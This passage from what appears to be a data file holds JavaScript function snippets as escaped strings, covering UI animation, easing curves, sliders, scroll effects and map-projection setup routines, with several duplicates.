sk-circle\"></div> <div class=\"sk-circle7 sk-circle\"></div> <div class=\"sk-circle8 sk-circle\"></div> <div class=\"sk-circle9 sk-circle\"></div> <div class=\"sk-circle10 sk-circle\"></div> <div class=\"sk-circle11 sk-circle\"></div> <div class=\"sk-circle12 sk-circle\"></div> </div>',\n setBackground: function setBackground(color) {\n $that.animationBox.children().find('*').each(function (k, e) {\n if (window.getComputedStyle(e, ':before').getPropertyValue('background-color') !== 'rgba(0, 0, 0, 0)') {\n $('body').append($('<style data-custom-style>.' + $(e).attr('class').split(' ')[0] + ':before {background-color: ' + color + ' !important;}</style>'));\n }\n });\n }\n },\n foldingCube: {\n html: '<div class=\"sk-folding-cube\"> <div class=\"sk-cube1 sk-cube\"></div> <div class=\"sk-cube2 sk-cube\"></div> <div class=\"sk-cube4 sk-cube\"></div> <div class=\"sk-cube3 sk-cube\"></div> </div>',\n setBackground: function setBackground(color) {\n $that.animationBox.find('*').each(function (k, e) {\n if (window.getComputedStyle(e, ':before').getPropertyValue('background-color') !== 'rgba(0, 0, 0, 0)') {\n $('body').append($('<style data-custom-style>.' + $(e).attr('class').split(' ')[0] + ':before {background-color: ' + color + ' !important;}</style>'));\n }\n });\n }\n }\n }; // jQuery has an extend method which merges the contents of two or\n // more objects, storing the result in the first object. The first object\n // is generally empty as we don't want to alter the default options for\n // future instances of the plugin\n\n this.settings = $.extend({}, defaults, options);\n this.modal = null;\n this.modalText = null;\n this.animationBox = null;\n this.modalBg = null;\n this.currenAnimation = null;\n this.init();\n return this;\n } // Avoid Plugin.prototype conflicts", "function easing(t, b, c, d) {\n t /= d / 2;\n if (t < 1) return c / 2 * t * t + b;\n t--;\n return -c / 2 * (t * (t - 2) - 1) + b;\n }", "function init() {\n var t = Math.abs(this.lat0);\n if (Math.abs(t - __WEBPACK_IMPORTED_MODULE_0__constants_values__[\"b\" /* HALF_PI */]) < __WEBPACK_IMPORTED_MODULE_0__constants_values__[\"a\" /* EPSLN */]) {\n this.mode = this.lat0 < 0 ? this.S_POLE : this.N_POLE;\n }\n else if (Math.abs(t) < __WEBPACK_IMPORTED_MODULE_0__constants_values__[\"a\" /* EPSLN */]) {\n this.mode = this.EQUIT;\n }\n else {\n this.mode = this.OBLIQ;\n }\n if (this.es > 0) {\n var sinphi;\n\n this.qp = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__common_qsfnz__[\"a\" /* default */])(this.e, 1);\n this.mmf = 0.5 / (1 - this.es);\n this.apa = authset(this.es);\n switch (this.mode) {\n case this.N_POLE:\n this.dd = 1;\n break;\n case this.S_POLE:\n this.dd = 1;\n break;\n case this.EQUIT:\n this.rq = Math.sqrt(0.5 * this.qp);\n this.dd = 1 / this.rq;\n this.xmf = 1;\n this.ymf = 0.5 * this.qp;\n break;\n case this.OBLIQ:\n this.rq = Math.sqrt(0.5 * this.qp);\n sinphi = Math.sin(this.lat0);\n this.sinb1 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__common_qsfnz__[\"a\" /* default */])(this.e, sinphi) / this.qp;\n this.cosb1 = Math.sqrt(1 - this.sinb1 * this.sinb1);\n this.dd = Math.cos(this.lat0) / (Math.sqrt(1 - this.es * sinphi * sinphi) * this.rq * this.cosb1);\n this.ymf = (this.xmf = this.rq) / this.dd;\n this.xmf *= this.dd;\n break;\n }\n }\n else {\n if (this.mode === this.OBLIQ) {\n this.sinph0 = Math.sin(this.lat0);\n this.cosph0 = Math.cos(this.lat0);\n }\n }\n}", "function init() {\n this.x0 = this.x0 !== undefined ? this.x0 : 0;\n this.y0 = this.y0 !== undefined ? this.y0 : 0;\n this.long0 = this.long0 !== undefined ? this.long0 : 0;\n this.lat0 = this.lat0 !== undefined ? this.lat0 : 0;\n\n if (this.es) {\n this.en = Object(_common_pj_enfn__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(this.es);\n this.ml0 = Object(_common_pj_mlfn__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(this.lat0, Math.sin(this.lat0), Math.cos(this.lat0), this.en);\n }\n}", "function easingScrollAction(target,scrollDuration){ //for intro.js adaptation will want to add padding so it doesn't scroll to top, add to availspace calculation as well as destination calculation (place in function call)\n\tvar elementPos = findPos(target); //for intro.js adaptation will leverage there find\n\tvar initialPos = window.pageYOffset; //page starting point \n\tvar availableSpace = document.body.scrollHeight - elementPos; //dist from top of obj to bot of page\n\t//point that is length of view window from bottom, used if\n\t//initial destination is too close to bottom\n\tvar alternateDest = document.body.scrollHeight - window.innerHeight;\n\t//acount for the bottom of the page edge case\n\tvar yDestination = availableSpace < window.innerHeight ? alternateDest : elementPos;\n\t//total distance to scroll\n\tvar distance = yDestination - initialPos;\n\tvar startTime;\n\n\t// Inspired by: https://gist.github.com/gre/1650294\n\t// modified mapping for smoother enter/exit with more satisfying approach\n\t//Trevor Explanation: up until .5 eases in with 4t^3 cubic (inflection point at 0\n\t//then eases off (slowing ROC) using second cubic with inflection point at 1.\n\t//may want to alter more to slow/speed first half perhaps make into hybrid of quartic/cubic\n\tvar easingFunc = function (t) { return t<.5 ? 5*t*t*t : 2.42*(t+(-1.055))*(t+(-1.055))*(t+(-1.055))+1 }\n\t\n\n\t//animation: call before each frame\n\twindow.requestAnimationFrame(function nextFrame(timestamp) {\n\t\t//check if start is undefined (first call)\n\t\t//if first call set to currentTime\n\t\tif(!startTime) startTime = timestamp;\n\n\t\tvar timeEllapsed = timestamp - startTime;\n\n\t\t//Progress towards completion (percent)\n\t\tvar progress = Math.min(timeEllapsed / scrollDuration, 1);\n\t\t//apply our easing function to our proportional progress value\n\t\tprogress = easingFunc(progress);\n\t\t//scroll to a percent of goal\n\t\twindow.scrollTo(0, initialPos + (distance * progress)); \n\t\t\n\t\t//continue frame updating until scroll duration reached\n\t\tif(timeEllapsed < scrollDuration){\n\t\t\twindow.requestAnimationFrame(nextFrame);\n\t\t}\n\t});\n}", "function init() {\n //\n //\t\tel = $('.cont_inner');\n //\t\tswitchEl = el.find('.option_group a');\n //\t\toption2Radio = el.find('.option_group .item02');\n //\t\toption3Radio = el.find('.option_group .item03');\n //\t\toption = 1\n //\t\toption1 = 0.162\n //\t\toption2 = 1\n //\t\toption3 = 1\n //\t\tdisCountVal = 0;\n //\t\tmovebar = 0;\n //\n //\t\tvar options = {\n //\t\t\tuseEasing : true,\n //\t\t\tuseGrouping : true,\n //\t\t\tseparator : ',',\n //\t\t\tdecimal : '.',\n //\t\t\tprefix : '',\n //\t\t\tsuffix : ''\n //\t\t};\n //\t\tcalcCount = new CountUp(el.find('.result .count')[0], 0, 0, 1, 1, options);\n //\t\tcalcCountTxt = new CountUp(el.find('.value_area_result')[0], 0, 0, 1, 1, options);\n //\t\tcalcCount.start();\n //\t\tcalcCountTxt.start();\n //\n //\t\tif(!el.find('.option_group .btn_bar_area').hasClass('off')){\n //\t\t\tswitchEl.attr('data-per',0.162);\n //\t\t\toption = switchEl.attr('data-per');\n //\t\t\toption1 = Math.round((1-option)*1000)/1000;\n //\t\t}else{\n //\t\t\tswitchEl.attr('data-per',1);\n //\t\t\toption = switchEl.attr('data-per');\n //\t\t\toption1 = Math.round((1-option)*1000)/1000;\n //\t\t}\n //\n //\t\tmoveAni();\n //\t\tbindEvent();\n }", "function BezierEasing (points) {\n this._p = points;\n this._mSampleValues = float32ArraySupported ? new Float32Array(kSplineTableSize) : new Array(kSplineTableSize);\n this._precomputed = false;\n\n this.get = this.get.bind(this);\n }", "function BezierEasing (points) {\n this._p = points;\n this._mSampleValues = float32ArraySupported ? new Float32Array(kSplineTableSize) : new Array(kSplineTableSize);\n this._precomputed = false;\n\n this.get = this.get.bind(this);\n }", "function init() {\n\n /* Place parameters in static storage for common use\n -------------------------------------------------*/\n this.sin_p14 = Math.sin(this.lat0);\n this.cos_p14 = Math.cos(this.lat0);\n // Approximation for projecting points to the horizon (infinity)\n this.infinity_dist = 1000 * this.a;\n this.rc = 1;\n}", "function init() {\n\n /* Place parameters in static storage for common use\n -------------------------------------------------*/\n this.sin_p14 = Math.sin(this.lat0);\n this.cos_p14 = Math.cos(this.lat0);\n // Approximation for projecting points to the horizon (infinity)\n this.infinity_dist = 1000 * this.a;\n this.rc = 1;\n}", "function ANIMATE($anim) {\n var that = this, an = {}, myData = {}, styleCur = {}, isOverflowOnNode;\n /**\n * FUNCTION CLASS\n */\n /**\n * CHECK & INITIALIZATION ANIMATION\n */\n function Init() {\n /**\n * SETUP VARIABLE AT FIRST\n */\n an.rubyID = DB.GetRubyID($anim);\n myData = that.data = vData[an.rubyID];\n // Setup initialization timer of object\n if (myData.tsInit == UNDE)\n myData.tsInit = VA.tsCur;\n // Properties & options of object\n var prop = myData.prop, opts = myData.opts;\n an.propEnd = prop[prop.length - 1];\n an.optsEnd = opts[opts.length - 1];\n /**\n * SETUP AFTER START ANIMATION\n */\n SetupStyleBegin();\n Start();\n }\n /**\n * SETUP VALUE OF STYLE & TRANSFORM AT FIRST\n */\n function SetupStyleBegin() {\n // Setup properties of normal Style\n StyleBegin();\n // Setup properties of transform CSS\n TransformBegin();\n }\n /**\n * SETUP VALUE OF STYLE AT FIRST\n */\n function StyleBegin() {\n var styleBegin = an.optsEnd.styleBegin, styleEnd = an.optsEnd.styleEnd, opts = myData.opts, isAnimMulti = opts.length > 1;\n /**\n * LOOP TO SETUP VALUE NOT BE TRANSFORM CSS\n */\n for (var name in an.propEnd) {\n if ($.inArray(name, VA.nameTf) === -1) {\n /**\n * SETUP STYLE END\n * + Parse & convert value of StyleEnd\n */\n var valueCur = an['propEnd'][name];\n styleEnd[name] = M.ParseCssStyle(valueCur);\n /**\n * SETUP STYLE BEGIN\n */\n // Case: name of properties have fixed value -> inherit value of tfEnd\n if ($.inArray(name, VA.propFixed) !== -1) {\n styleBegin[name] = styleEnd[name];\n }\n else {\n // Parse & convert value of StyleBegin\n valueCur = $anim.css(name);\n styleBegin[name] = M.ParseCssStyle(valueCur);\n }\n }\n }\n // Inherit StyleEnd of animation before\n if (isAnimMulti)\n styleBegin = $.extend(styleBegin, opts[opts.length - 2]['styleEnd']);\n // Inherit properties of CSS Style 'point' have setup before\n if (myData.cssStyle !== null) {\n styleBegin = $.extend(true, styleBegin, myData.cssStyle);\n // Remove properties CSS Style after inherit\n myData.cssStyle = null;\n }\n /**\n * SETUP INHERIT PROPERTIES OF STYLE-END FROM STYLE-BEGIN\n */\n for (var name in styleBegin) {\n if (styleEnd[name] === UNDE) {\n styleEnd[name] = styleBegin[name];\n }\n }\n }\n /**\n * SETUP VALUE OF TRANSFORM AT FIRST\n */\n function TransformBegin() {\n var opts = myData.opts;\n /**\n * GET TRANSFORM OF OBJECT AT FIRST\n */\n // Case: have many continuous animation\n var tfBegin;\n if (opts.length > 1) {\n // Get Transform-begin from Transform-end before\n tfBegin = $.extend({}, opts[opts.length - 2]['tfEnd']);\n }\n else {\n tfBegin = myData.tfCur;\n if (tfBegin == UNDE) {\n var matrixBegin = MATRIX.getFromItem($anim);\n /**\n * PARSE MATRIX TO INITIAL PROPERTIES\n */\n tfBegin = MATRIX.parse(matrixBegin);\n }\n }\n // Inherit the properties CSS Transform 'point' have setup before\n if (myData.cssTf !== null) {\n tfBegin = $.extend(true, tfBegin, myData.cssTf);\n // Remove CSS Transform property after inherit\n myData.cssTf = null;\n }\n /**\n * GET TRANSFORM-END FROM SETUP PROPERTIES\n */\n var tfEnd = TF.FromProp(an.propEnd);\n /**\n * SETUP TRANSFORM INHERIT FROM PROPERTIES BEFORE\n */\n // Inherit 'tfBegin' properties but 'tfEnd' does not have, order of Transform depends on options\n tfEnd = TF.Extend(tfBegin, tfEnd, an.optsEnd);\n var tfDefault = VA.tfDefault;\n for (var name in tfEnd) {\n /**\n * ADDITIONAL PROPERTIES WITH TRANSFORM-BEGIN\n */\n if (tfBegin[name] === UNDE) {\n // Case: value of properties !== default value\n if (tfEnd[name] != tfDefault[name]) {\n // Case: name of property has fixed value -> inherit value from 'tfEnd'\n if ($.inArray(name, VA.propFixed) !== -1)\n tfBegin[name] = tfEnd[name];\n else\n tfBegin[name] = tfDefault[name];\n }\n else {\n delete tfEnd[name];\n }\n }\n /**\n * REMOVE PROPERTIES ON TRANSFORM BEGIN - END SIMILAR TO DEFAULT PROPERTIES\n */\n if (tfBegin[name] == tfDefault[name] && tfEnd[name] == tfDefault[name]) {\n delete tfBegin[name];\n delete tfEnd[name];\n }\n }\n an.optsEnd.tfBegin = tfBegin;\n an.optsEnd.tfEnd = tfEnd;\n }\n /**\n * SETUP VALUE WHEN BEGIN ANIMATION\n */\n function Start() {\n /**\n * INSERT STYLE 'OVERFLOW' AT FIRST: FIXED FOR OLD BROWSER\n */\n var style = $anim.attr('style');\n isOverflowOnNode = style && style.indexOf('overflow') !== -1;\n // Unavailable\n // !isOverflowOnNode && $anim.css('overflow', 'hidden');\n /**\n * EXECUTE FUNCTION 'START' AT FIRST\n */\n !!an.optsEnd.start && an.optsEnd.start();\n }\n /**\n * SETUP NEXT VALUE OF OBJECT, CALL FUNCTION FROM 'TWEEN'\n * @param boolean isForceAnim Allways setup style for object\n */\n that.next = function (isForceAnim) {\n /**\n * SETUP CURRENT TIME\n * @param Int an.xCur Current time, in range [0, 1]\n * @param Boolean isAnimate Check setup current animation\n */\n var opts = myData.opts, isAnimate = false, isComplete = false, tCur = myData.tCur = VA.tsCur - myData.tsInit;\n for (var i = 0, len = opts.length; i < len; i++) {\n var optsCur = opts[i];\n // Case: tCur at the forward position the first Aniamtion\n if (tCur < optsCur.tPlay && i == 0) {\n // Case: allways setup Style of object\n if (isForceAnim) {\n an.optsPos = i;\n an.xCur = 0;\n }\n else\n an.xCur = null;\n break;\n }\n else if (tCur > optsCur.tEnd && i == len - 1) {\n an.optsPos = i;\n an.xCur = 1;\n isComplete = true;\n break;\n }\n else if (optsCur.tPlay <= tCur && tCur <= optsCur.tEnd) {\n an.optsPos = i;\n an.xCur = $.GSGDEasing[optsCur.easing](null, tCur - optsCur.tPlay, 0, 1, optsCur.duration);\n isAnimate = true;\n break;\n }\n else if (!!opts[i + 1] && optsCur.tEnd < tCur && tCur < opts[i + 1].tPlay) {\n an.optsPos = i;\n an.xCur = 1;\n break;\n }\n }\n /**\n * SETUP VALUE OF CURRENT STYLE ON OBJECT\n */\n if (an.xCur !== null && opts.length) {\n // First, reset size of Item\n GetSizeItem();\n // Reset variable 'styleCur'\n styleCur = {};\n // Setup current Style value of the object\n StyleNormalCur();\n StyleTransformCur();\n $anim.css(styleCur);\n }\n /**\n * EXECUTE OPTION 'COMPLETE'\n */\n if (isComplete) {\n var optsCur = opts[an.optsPos];\n !!optsCur.complete && optsCur.complete();\n }\n /**\n * Return value check have Animation\n */\n return isAnimate;\n };\n /**\n * CONVERT VALUE HAS OTHER UNIT TO 'PX'\n * + Support convert '%' to 'px'\n */\n function ConvertValue(name, valueCur) {\n /*\n * CASE: STRING\n */\n if (typeof valueCur == 'string') {\n /**\n * CASE: UNIT IS 'PX'\n */\n if (/px$/.test(valueCur)) {\n valueCur = parseFloat(valueCur);\n }\n else if (/\\%$/.test(valueCur)) {\n // Name of property exist in conversion system\n var nameSizeFn = VA.percentRef[name];\n if (nameSizeFn !== UNDE) {\n var sizeCur = an['size'][nameSizeFn];\n valueCur = sizeCur * parseFloat(valueCur) / 100;\n }\n }\n }\n /**\n * RETURN VALUE AFTER SETUP\n */\n return valueCur;\n }\n /**\n * GET SIZE OF ITEM IN CURRENT TIME\n */\n function GetSizeItem() {\n an.size = {\n 'OuterWidth': M.OuterWidth($anim),\n 'OuterHeight': M.OuterHeight($anim)\n };\n }\n /**\n * SETUP VALUE PLUS DEPENDS ON PROPERTY NAME\n */\n function ValueCurForNumber(name, valueBegin, valueEnd) {\n var nameToFloat = ['opacity'], plus = (valueEnd - valueBegin) * an.xCur;\n // Case: rounded number float\n if ($.inArray(name, nameToFloat) !== -1) {\n plus = Math.round(plus * 1000) / 1000;\n }\n else {\n /**\n * ADDITIONAL 1 FRACTION : ANIMATE SMOOTHER\n */\n plus = Math.round(plus * 10) / 10;\n }\n return valueBegin + plus;\n }\n /**\n * SETUP VALUE OF PROPERTY IS ARRAY[]\n */\n function ValueCurForArray(name, valueBegin, valueEnd) {\n var aValue = [];\n /**\n * SETUP EACH VALUE IN ARRAY[]\n * + Remove element >= 2 : Browser not support Transform 3D\n */\n for (var i = 0, len = valueEnd.length; i < len && !(i >= 2 && !VA.isTf3D); i++) {\n /**\n * CONVERT VALUE BEGIN - END\n */\n var vaEndCur = ConvertValue(name + i, valueEnd[i]), vaBeginCur = ConvertValue(name + i, valueBegin[i]);\n // Case: value 'begin' not exist\n if (vaBeginCur === UNDE)\n vaBeginCur = vaEndCur;\n /**\n * SETUP CURRENT VALUE + STORE IN ARRAY[]\n */\n var plus = (vaEndCur - vaBeginCur) * an.xCur, valueCur = Math.round((vaBeginCur + plus) * 10) / 10;\n aValue.push(valueCur + 'px');\n }\n /**\n * CONVERT ARRAY TO STRING\n */\n return aValue.join(' ');\n }\n /**\n * SETUP NORMAL PROPERTIES AT THE CURRENT TIME\n */\n function StyleNormalCur() {\n var optsCur = myData['opts'][an.optsPos];\n for (var name in optsCur['styleBegin']) {\n var valueBegin = optsCur['styleBegin'][name], valueEnd = optsCur['styleEnd'][name], valueCur;\n /**\n * CASE: PROPERTY HAS VALUE IS ARRAY[]\n */\n if ($.isArray(valueBegin)) {\n valueCur = ValueCurForArray(name, valueBegin, valueEnd);\n }\n else {\n // Convert value String to Number (if posible)\n valueBegin = ConvertValue(name, valueBegin);\n valueEnd = ConvertValue(name, valueEnd);\n // Case: value of property is Number\n if ($.isNumeric(valueBegin) && $.isNumeric(valueEnd)) {\n valueCur = ValueCurForNumber(name, valueBegin, valueEnd);\n }\n else {\n valueCur = valueBegin;\n }\n }\n /**\n * REMOVE STYLES HAVE DEFAULT VALUE\n */\n if (optsCur.isClearStyleDefault && VA['styleDefault'][name] === valueCur) {\n valueCur = '';\n }\n /**\n * STORE VALUE OF CURRENT PROPERTY\n */\n styleCur[name] = valueCur;\n }\n }\n /**\n * SETUP 'TRANSFORM' IN CURRENT TIME\n */\n function StyleTransformCur() {\n /**\n * SETUP CURRENT VALUE EACH TRANSFORM PROPERTIES\n */\n var optsCur = myData['opts'][an.optsPos], tfBegin = optsCur.tfBegin, tfEnd = optsCur.tfEnd, tfCur = {};\n for (var name in tfEnd) {\n // Setup value 'plus' of each properties\n var tfBeginCur = TF.ConvertValueToPX($anim, name, tfBegin[name]), tfEndCur = TF.ConvertValueToPX($anim, name, tfEnd[name]), valuePlus = (tfEndCur - tfBeginCur) * an.xCur, valueCur = tfBeginCur + valuePlus;\n // Value of current property\n tfCur[name] = valueCur;\n }\n /**\n * CONVERT PARTICULAR PROPERTY OF TRANSFORM TO CSS\n */\n var cssTf = TF.ToCss(tfCur, optsCur);\n /**\n * STORE CURRENT TRANSFORM CSS\n */\n var nameTf = VA.prefix + 'transform';\n styleCur[nameTf] = cssTf;\n // Store current Transform into system\n myData.tfCur = tfCur;\n }\n // Initialize Animation\n Init();\n }", "function Interpolator() {\n\tvar _this = this;\n\t\n\t\n\t// function: add\n\t// Adds points to be interpolated against\n\t_this.addPoints = function() {\n\t}\n\t\n\t_this.getValue = function() {\n\t\treturn 0.0;\n\t}\n}", "function init() {\n document.querySelectorAll(\".custom-toggle\").forEach(function(node) {\n let tmp = function(_) {\n anime({\n targets: node,\n rotate: '1turn',\n duration: 2000,\n complete: function() {\n node.style.transform = \"none\";\n },\n });\n }\n node.addEventListener('click', tmp);\n node.addEventListener('touchstart', tmp);\n });\n }", "function OsEasingClick() {\r\n $('.easing-link-group a[href^=\"#\"] , a.easing-link[href^=\"#\"]').not('[href=\"#\"]').on('click', function (event) {\r\n event.preventDefault();\r\n\r\n var $this = $(this);\r\n var elementPostion = $($this.attr('href')).offset().top;\r\n\r\n $('html,body').animate({\r\n scrollTop: elementPostion\r\n },\r\n 400, function () {\r\n $('body').removeClass('mobile-nav-open');\r\n }\r\n );\r\n });\r\n }", "function waypointsInit() {\n $('#masthead').waypoint(function(direction) {\n $(this).addClass('animation-on');\n });\n\n $('#main').waypoint(function(direction) {\n $('#masthead').toggleClass('animation-on');\n });\n\n $('#footer').waypoint(function(direction) {\n $(this).toggleClass('animation-on');\n } , { offset: 'bottom-in-view' });\n}", "function global_ease_in(t, b, c, d) {\n\n return -c *(t/=d)*(t-2) + b;\n\n}", "function BezierEasing (points) {\r\n this._p = points;\r\n this._mSampleValues = float32ArraySupported ? new Float32Array(kSplineTableSize) : new Array(kSplineTableSize);\r\n this._precomputed = false;\r\n\r\n this.get = this.get.bind(this);\r\n }", "function BezierEasing (points) {\r\n this._p = points;\r\n this._mSampleValues = float32ArraySupported ? new Float32Array(kSplineTableSize) : new Array(kSplineTableSize);\r\n this._precomputed = false;\r\n\r\n this.get = this.get.bind(this);\r\n }", "function BezierEasing (points) {\r\n this._p = points;\r\n this._mSampleValues = float32ArraySupported ? new Float32Array(kSplineTableSize) : new Array(kSplineTableSize);\r\n this._precomputed = false;\r\n\r\n this.get = this.get.bind(this);\r\n }", "function init() {\n autoScroll();\n countDown();\n fetchWeather();\n fetchDestinations();\n formValidation();\n }", "constructor() {\n this.speed = 0;\n }", "function init() {\n animate();\n for(var i in points) {\n shiftPoint(points[i]);\n }\n}", "initAdFloat() {\n this.scrollThrottle = new Throttle( this.stickyScroll, this, 'scroll', $( window ) )\n this.resizeThrottle = new Throttle( this.stickyResize, this, 'resize', $( window ) )\n this.stickyThrottle = new Throttle( this.stickyHelper, this, 'scroll', $( window ), 1000 )\n }", "_init() {\n this._addBreakpoints();\n this._generateRules();\n this._reflow();\n }", "function init() {\n console.log( \"init\" );\n\n initExampleModule();\n //initScrollTo();\n //initCarouselModules();\n }", "function init_inertia( ) {\n\t\tif ( (pos + velocity ) < max && ( velocity < 0 ) ) {\n\t\t\tvelocity = max - pos;\n\t\t} else if ( (pos + velocity) > min && ( velocity > 0 ) ) {\n\t\t\tvelocity = min - pos;\n\t\t}\n\t\tstart_velocity = velocity;\n\t\tstart_pos = pos;\n\t\tinertia_starts = Date.now();\n\t\tif ( !started_animation ) \n\t\t{\n\t\t\trequestAnimationFrame( inertia_scroll );\n\t\t\tstarted_animation = true;\n\t\t}\n\t}", "function animate() { \n console.log('animate')\n \n gsap.registerEffect({\n name: \"fadeIn\",\n effect: (targets, config) => {\n var tlEffect = gsap.timeline();\n tlEffect.from(targets, {duration: config.duration, y:config.y, force3D:true, rotation: 0.01, stagger:config.stagger, ease:\"power2\"})\n .from(targets, {duration: config.duration, stagger:config.stagger, alpha:0, ease:\"none\"}, \"<\")\n return tlEffect;\n },\n defaults: {duration: 1.5, y:\"-=7\", stagger:4.5},\n extendTimeline: true,\n });\n \n gsap.to(plantWraps, {duration:25, rotation:\"+=20\", ease:\"none\"})\n gsap.to(flowerWraps, {duration:25, rotation:\"+=100\", ease:\"none\"})\n \n var imageDivs = selectAll('.imageDiv');\n // logoIntro = false;\n\n\t\t\ttl\n .to(bannerCover, {duration:0.7, alpha:0, ease:\"none\"})\n \n .from(plants, {duration:3, drawSVG:\"50% 50%\", ease:\"sine.inOut\"}, \"<\")\n .from(flowers, {duration:2, alpha:0, ease:\"none\"}, \"<\")\n \n if(logoIntro) {\n tl\n .from(letter_w, {duration:0.5, drawSVG: 0, ease:\"sine.in\"}, \"<\")\n .from(letter_y, {duration:0.3, drawSVG: 0, ease:\"sine.in\"}, \">\")\n .from(letter_nn, {duration:0.8, drawSVG: 0, ease:\"sine.inOut\"}, \">\")\n .from(lasvegas, {duration:0.7, y:\"-=10\", alpha: 0, ease:\"sine\"}, \">\")\n .from(sign_r, {duration:0.5, alpha: 0, ease:\"none\"}, \"<\")\n\n .to(logo, {duration:0.7, alpha:0, ease:\"none\"}, \">1\")\n .set(logo, {scale: 0.37, y:99, x:-60}, \">\")\n } else {\n tl\n .set(logo, {scale: 0.37, alpha:0,y:99, x:-60}, \"<\")\n }\n \n tl\n .from(imageDivs, {duration:1.3, stagger:4, alpha:0, blur:10, force3D:true, rotation: 0.01, ease:\"none\"}, \"<\")\n \n .fadeIn(text_head, \"<0.4\")\n .fadeIn(text_subHead,{y:\"0\", duration: 1,},\"<0.6\")\n .to(logo, {duration:1, alpha:1, ease:\"none\"}, \"<0.4\")\n .from(cta, {duration:0.8, alpha: 0, ease:\"none\"}, \"<\")\n .from(cta, {duration:1.6, rotateX:90, ease:\"power2\"}, \"<\") \n\t\t}", "init() {\n this.initImageCache();\n this.debug();\n this.addKeyboardHandlers();\n this.initScorePanel();\n this.initAsteroids();\n this.initKeysPressed();\n // Grant initial invincibility\n this.ship.setInvincibility(true);\n setTimeout(() => this.ship.setInvincibility(false), INITIAL_TIMEOUT);\n }", "function init() {\n\t\tbindEvents();\n\t\tupdateTime();\n\t\tupdateInformation();\n\t\tsetInterval(function() {\n\t\t\tupdateTime();\n\t\t}, 1000);\n\t\t\n\t\tsetInterval(function() {\n\t\t\tslideRedLine();\n\t\t}, 5000);\n\t}", "function init$f() {\n\n /* Place parameters in static storage for common use\n -------------------------------------------------*/\n this.sin_p14 = Math.sin(this.lat0);\n this.cos_p14 = Math.cos(this.lat0);\n // Approximation for projecting points to the horizon (infinity)\n this.infinity_dist = 1000 * this.a;\n this.rc = 1;\n}", "function mainSlider() {\n var BannerSlider = $('.banner-slider');\n BannerSlider.on('init', function (e, slick) {\n var $firstAnimatingElements = $('.slider-item').find('[data-animation]');\n doAnimations($firstAnimatingElements);\n });\n BannerSlider.on('beforeChange', function (e, slick, currentSlide, nextSlide) {\n var $animatingElements = $('.slider-item[data-slick-index=\"' + nextSlide + '\"]').find('[data-animation]');\n doAnimations($animatingElements);\n });\n BannerSlider.slick({\n dots: true,\n infinite: true,\n speed: 1000,\n fade: true,\n autoplay: true,\n autoplaySpeed:1500,\n arrows: false,\n slidesToShow: 1,\n slidesToScroll: 1,\n responsive: [\n {\n breakpoint: 1550,\n settings: {\n slidesToShow: 1,\n slidesToScroll: 1,\n infinite: true,\n dots: false\n }\n },\n {\n breakpoint: 1024,\n settings: {\n slidesToShow: 1,\n slidesToScroll: 1,\n infinite: true,\n dots: false\n }\n },\n {\n breakpoint: 600,\n settings: {\n slidesToShow: 1,\n slidesToScroll: 1,\n dots: false\n }\n },\n {\n breakpoint: 480,\n settings: {\n slidesToShow: 1,\n slidesToScroll: 1,\n dots: false\n }\n }\n ]\n });\n \n function doAnimations(elements) {\n var animationEndEvents = 'webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend';\n elements.each(function () {\n var $this = $(this);\n var $animationDelay = $this.data('delay');\n var $animationType = 'animated ' + $this.data('animation');\n $this.css({\n 'animation-delay': $animationDelay,\n '-webkit-animation-delay': $animationDelay\n });\n $this.addClass($animationType).one(animationEndEvents, function () {\n $this.removeClass($animationType);\n });\n });\n }\n }", "function init() {\n console.log('init!');\n setup();\n startTimer();\n }", "animation() {}", "function mainSlider() {\n \n var BasicSlider = $('.slider-active');\n \n BasicSlider.on('init', function(e, slick) {\n var $firstAnimatingElements = $('.single-slider:first-child').find('[data-animation]');\n doAnimations($firstAnimatingElements);\n });\n \n BasicSlider.on('beforeChange', function(e, slick, currentSlide, nextSlide) {\n var $animatingElements = $('.single-slider[data-slick-index=\"' + nextSlide + '\"]').find('[data-animation]');\n doAnimations($animatingElements);\n });\n \n BasicSlider.slick({\n autoplay: true,\n autoplaySpeed: 10000,\n pauseOnHover: false,\n dots: false,\n fade: true,\n\t\t\t arrows: true,\n prevArrow:'<span class=\"prev\"><i class=\"ion-ios-arrow-back\"></i></span>',\n nextArrow: '<span class=\"next\"><i class=\"ion-ios-arrow-forward\"></i></span>',\n responsive: [ \n {\n breakpoint: 1200,\n settings: {\n arrows: false,\n dots: true,\n }\n },\n {\n breakpoint: 992,\n settings: {\n arrows: false,\n dots: true,\n }\n },\n {\n breakpoint: 768,\n settings: {\n arrows: false,\n dots: true,\n }\n },\n {\n breakpoint: 576,\n settings: {\n arrows: false,\n dots: true,\n }\n }\n ] \n });\n\n function doAnimations(elements) {\n var animationEndEvents = 'webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend';\n elements.each(function() {\n var $this = $(this);\n var $animationDelay = $this.data('delay');\n var $animationType = 'animated ' + $this.data('animation');\n $this.css({\n 'animation-delay': $animationDelay,\n '-webkit-animation-delay': $animationDelay\n });\n $this.addClass($animationType).one(animationEndEvents, function() {\n $this.removeClass($animationType);\n });\n });\n }\n }", "function init(){\n\t//Init variables\n\ttaCode = document.getElementById(\"codetext\");\n\tstateLabel = document.getElementById(\"statelabel\");\n\tnastro = document.getElementById(\"outtext\");\n\tJnastro = $(\"#outtext\");\n\ttaInput = document.getElementById(\"intext\");\n\trunBtn = document.getElementById(\"runbtn\");\n\tstopBtn = document.getElementById(\"stopbtn\");\n\tspeedSelect = document.getElementById(\"speed\");\n\tstepLabel = document.getElementById(\"steplabel\");\n\topt1 = document.getElementById(\"opt1\");\n\topt1Label = document.getElementById(\"opt1label\");\n\t\n\texpControl = new ExceptionControl(stateLabel);\n\n\t//Init nastro\n\tprintNastro(nastro, general.nastroValue, general.nastroNegValue, general.nastroIndex, general.nastroSideLength);\n\t\n\t//Init Event listner\n\trunBtn.addEventListener(\"click\",run);\n\tstopBtn.addEventListener(\"click\",stop);\n\tenableRunBtn(true);\n\tstepLabel.innerHTML = \"Stopped\";\n\tspeedSelect.addEventListener(\"change\", setSpeed);\n\ttaCode.addEventListener(\"keydown\",function(){preventChange(event);});\n}", "function advance(){\n var tweenDelay = 0;\n clearInterval(timer);\n \n if(phase === 0){\n console.log(\"phase===0\") \n //slide(collapseCopy, \"-1300px\", 7, 'linear', 0); \n slide(colcopyl1, \"-913px\", 11, 